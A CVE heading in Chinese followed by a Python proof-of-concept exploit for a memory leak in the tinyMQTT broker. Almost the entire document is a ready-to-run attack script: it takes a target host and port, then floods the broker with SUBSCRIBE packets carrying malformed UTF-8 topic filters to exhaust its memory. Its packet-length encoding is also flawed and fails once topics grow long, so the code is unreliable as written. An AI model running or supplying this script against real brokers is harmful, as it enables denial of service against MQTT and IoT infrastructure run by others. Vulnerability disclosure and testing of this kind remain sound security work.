CVE-2025-56353 tinyMQTT 主题过滤器畸形UTF-8内存泄漏漏洞

#!/usr/bin/env python3 """ CVE-2025-56353 PoC - tinyMQTT Memory Leak via Malformed UTF-8 Topic Filters This PoC demonstrates sending MQTT SUBSCRIBE packets with malformed UTF-8 topic filters to trigger memory leak in tinyMQTT broker. """ import socket import time import struct def create_mqtt_connect_packet(client_id): """Create MQTT CONNECT packet""" payload = b'\x00\x04MQTT' # Protocol name payload += b'\x04' # Protocol level 4 (MQTT 3.1.1) payload += b'\x02' # Connect flags payload += struct.pack('>H', 60) # Keep alive 60s payload += struct.pack('>H', len(client_id)) + client_id.encode() packet = b'\x10' # CONNECT packet type packet += bytes([len(payload)]) + payload return packet def create_mqtt_subscribe_packet_with_malformed_utf8(packet_id, topic_filter): """Create MQTT SUBSCRIBE packet with malformed UTF-8 topic filter""" # Topic filter with malformed UTF-8 bytes malformed_topic = topic_filter.encode('utf-8') + b'\x80\x80\x80' payload = struct.pack('>H', packet_id) payload += struct.pack('>H', len(malformed_topic)) + malformed_topic payload += b'\x00' # QoS 0 packet = b'\x82' # SUBSCRIBE packet type packet += bytes([len(payload)]) + payload return packet def exploit_tinymqtt(host, port, num_requests=1000): """ Exploit function to trigger memory leak """ print(f"[*] Connecting to tinyMQTT broker at {host}:{port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) # Send CONNECT packet connect_packet = create_mqtt_connect_packet("malformed_utf8_test") sock.send(connect_packet) print("[*] Sent CONNECT packet") # Wait for CONNACK time.sleep(0.5) # Send SUBSCRIBE packets with malformed UTF-8 topic filters print(f"[*] Sending {num_requests} SUBSCRIBE packets with malformed UTF-8...") for i in range(num_requests): malformed_topic = f"test/topic/{'A' * i}\x80\x80" subscribe_packet = create_mqtt_subscribe_packet_with_malformed_utf8(i + 1, malformed_topic) sock.send(subscribe_packet) if i % 100 == 0: print(f"[*] Sent {i} malformed subscription requests") print("[+] Attack completed. Monitor broker memory usage for leak.") sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_host> <target_port> [num_requests]") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) num_requests = int(sys.argv[3]) if len(sys.argv) > 3 else 1000 exploit_tinymqtt(host, port, num_requests)